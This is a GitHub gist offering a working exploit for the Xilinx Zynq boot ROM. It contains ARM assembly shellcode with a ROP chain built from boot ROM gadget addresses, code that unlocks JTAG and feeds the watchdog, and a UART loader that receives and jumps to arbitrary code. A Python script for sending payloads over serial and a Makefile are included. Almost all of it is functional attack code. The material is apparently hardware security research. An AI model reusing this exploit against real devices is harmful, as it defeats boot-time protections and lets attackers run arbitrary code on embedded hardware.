Skip to content

Instantly share code, notes, and snippets.

@four0four
Last active February 12, 2022 09:31
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save four0four/209d808aa25a844f5710cfd67a6fc9cf to your computer and use it in GitHub Desktop.
Save four0four/209d808aa25a844f5710cfd67a6fc9cf to your computer and use it in GitHub Desktop.
zynq exploit loader shellcode
.section .text
.global _start
.global _payload
.equ sc_len, 516
.equ mio_init, 0x57a4
.equ uart_init, 0x06a0
.equ printf, 0x0a9c4
.equ bxlr, 0x0000015c
.equ dsb_write, 0xB000
.equ uart_boot_init, 0xA1D4
.equ wfe_loop, 0x007E4
.equ memcpy, 0x1430
.equ putch, 0xA7FC
.equ noise, 0xA1D4
.equ uart_getc, 0xa188
.equ read_devcfg, 0x1e0c
.equ write_devcfg, 0x1e18
.equ tx_fifo, 0xE0001030
.equ ocm_cfg, 0xF8000910
.equ devcfg, 0xF8007000
.equ devcfg_unlock, 0xF8000008
.equ devcfg_key, 0xdf0ddf0d
# trampoline configurables:
.equ relocation_base, 0x70000
.equ shellcode_sp, 0x7ff00
.equ uart_pkt, 0x7ff00
# sanity-restoration macros
.macro load32 reg, word
.equ l16, \word&0xffff
.equ h16, \word>>16
movw \reg,#l16
movt \reg,#h16
.endm
# pollutes r12
.macro fcall fn
load32 r12, \fn
blx r12
.endm
# boot block hdr at +8
_start:
_payload:
nop
nop
# "bad block table 0"
.ascii "Bbt0"
_sc_start:
# enable UART MIOs
load32 r0, 0xf80007c0
mov r1, #0xe0
fcall mio_init
load32 r0, 0xf80007c4
mov r1, #0xe0
fcall mio_init
# ugly hack, uart_init bails if *0x70000 != 0
eor r0, r0
load32 r12, 0x70000
str r0, [r12]
# enable UART
fcall uart_init
# feed wdog
# dsb_write(0xf800_0008, 0xdf0ddf0d)
movw r12,#dsb_write
load32 r0, 0xf8000008
load32 r1, 0xdf0ddf0d
blx r12
# unlock JTAG
movw r12, #read_devcfg
blx r12
bic r0,r0, #0x800000
orr r0,#0xef
mov r2,r0
movw r12, #write_devcfg
blx r12
# say hi :)
add r0, pc, #banner-.-8
movw r12,#printf
blx r12
#### payload reader
movw r12,#uart_getc
# outer handler loop
outer:
load32 r11, uart_pkt
load32 r3, (uart_pkt+8)
read_header:
# grab the (addr, size) tuple w/uart_getch
# playing fast and loose w/r12, ok here
# r3: end addr
# r11: current ptr
blx r12
strb r0, [r11]
add r11, #1
cmp r11, r3
addne pc, #read_header-.-8
# got header, get payload
# r2: dest addr, r3: size
load32 r2, uart_pkt
ldr r3, [r2, #4]
ldr r2, [r2]
cmp r3, #0
addeq pc, #done-.-8
#beq done
# r3: end addr
add r3, r3, r2
read_payload:
blx r12
strb r0, [r2]
add r2, #1
cmp r2, r3
addne pc, #read_payload-.-8
#bne read_payload
# again!
#b outer
add pc, #outer-.-8
done:
bx r2
_loop:
wfe
add pc, #_loop-.-8
banner:
.ascii "got code exec!\n\r"
# pad out stack frame
.rept (sc_len-(.-_payload))
.byte 0
.endr
# restored registers
registers:
.word _r4
.word _r5
.word _r6
.word _r7
.word _r8
.word _r9
.word _r10
.word _r11
.equ _r4, 0x70000
.equ _r5, 0xdead0005
.equ _r6, 0xdead0006
.equ _r7, 0xdead0007
.equ _r8, 0xdead0008
.equ _r9, 0xdead0009
.equ _r10, 0xdead0010
.equ _r11, 0xdead0011
# starting PC (R0 == 0)
# simple ropchain to poke a useful primitive into RAM:
# R0 must be 0
# 0x0000b638: pop {r1, r2, lr}; mul r3, r2, r0; sub r1, r1, r3; bx lr;
.word 0xb638
# r1:
# push {sp}
.word 0xe52dd004
# r2:
.word 0xdeadbeef
# 0x00008a6c: mov r0, #0; str r1, [r4, #0x14]; pop {r4, pc};
.word 0x00008a6c
#r4
.word 0x70004
# R0 must be 0
# 0x0000b638: pop {r1, r2, lr}; mul r3, r2, r0; sub r1, r1, r3; bx lr;
.word 0xb638
# r1:
# pop {pc}
.word 0xe49df004
# r2:
.word 0xdeadbeef
# 0x00008a6c: mov r0, #0; str r1, [r4, #0x14]; pop {r4, pc};
.word 0x00008a6c
#r4
.word 0xdeadbeef
# hit trampoline...
.word 0x70014
# shellcode entrypoint:
trampoline_entry:
#add pc,#_sc_start-.-8
#remove that ^ and uncomment
#this v to relocate + enable ivt modification
add r1,pc,#_sc_start-.-8
mov r2,#0x200
ldr r0,[pc, #reloc_base-.-8]
mov r12,#memcpy
ldr sp,[pc, #new_sp-.-8]
mov r7, r0
mov r8, r1
mov r9, r2
blx r12
ldr r0,[pc, #reloc_base-.-8]
ldr sp,[pc, #new_sp-.-8]
bx r0
reloc_base:
.word relocation_base
new_sp:
.word shellcode_sp
#!/bin/python3
import serial
import time
import sys
import os
from elftools.elf.elffile import ELFFile
from elftools.elf.sections import SymbolTableSection
e = ELFFile(open(sys.argv[1], 'br+'))
print('%d sections' % e.num_sections())
req_sects = [
".text",
".data",
".rodata",
".ARM.exidx",
]
ser = serial.Serial(timeout=0.1)
ser.port = sys.argv[2]
ser.baudrate = 115200
ser.open()
def _send(s):
global ser
#print(s.hex())
ser.write(s)
entry = e.header['e_entry']
print("entry is @ 0x%x"%(entry))
total = 0
for s in req_sects:
sect = e.get_section_by_name(s)
l = len(sect.data())
va = sect['sh_addr']
print("[+] sending 0x%x bytes (%s) to 0x%x"%(l, s, va))
total += l
_send(va.to_bytes(4, "little"))
_send( l.to_bytes(4, "little"))
_send(sect.data())
print("%u/%u KiB RAM used"%((total / 1024), 256))
print("godspeed!")
_send(entry.to_bytes(4, "little"))
_send(b"\x00\x00\x00\x00")
"""
while(ser.in_waiting == 0):
time.sleep(0.1)
print(b"got: "+ser.read(ser.in_waiting))
"""
as = arm-none-eabi-as
objcopy = arm-none-eabi-objcopy
objdump = arm-none-eabi-objdump
ld = arm-none-eabi-ld
proj = loader_sc
#proj = sc
all: $(proj).bin
disas: $(proj).bin
$(objdump) -D $(proj).bin -b binary -m armv7
$(proj).bin: $(proj).s
$(as) -o $(proj).o $(proj).s
$(ld) $(proj).o -Ttext 0 -Tdata 0 -o $(proj).elf
$(objcopy) -O binary $(proj).elf $(proj).bin
rm $(proj).o
clean:
rm $(proj).bin $(proj).elf
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment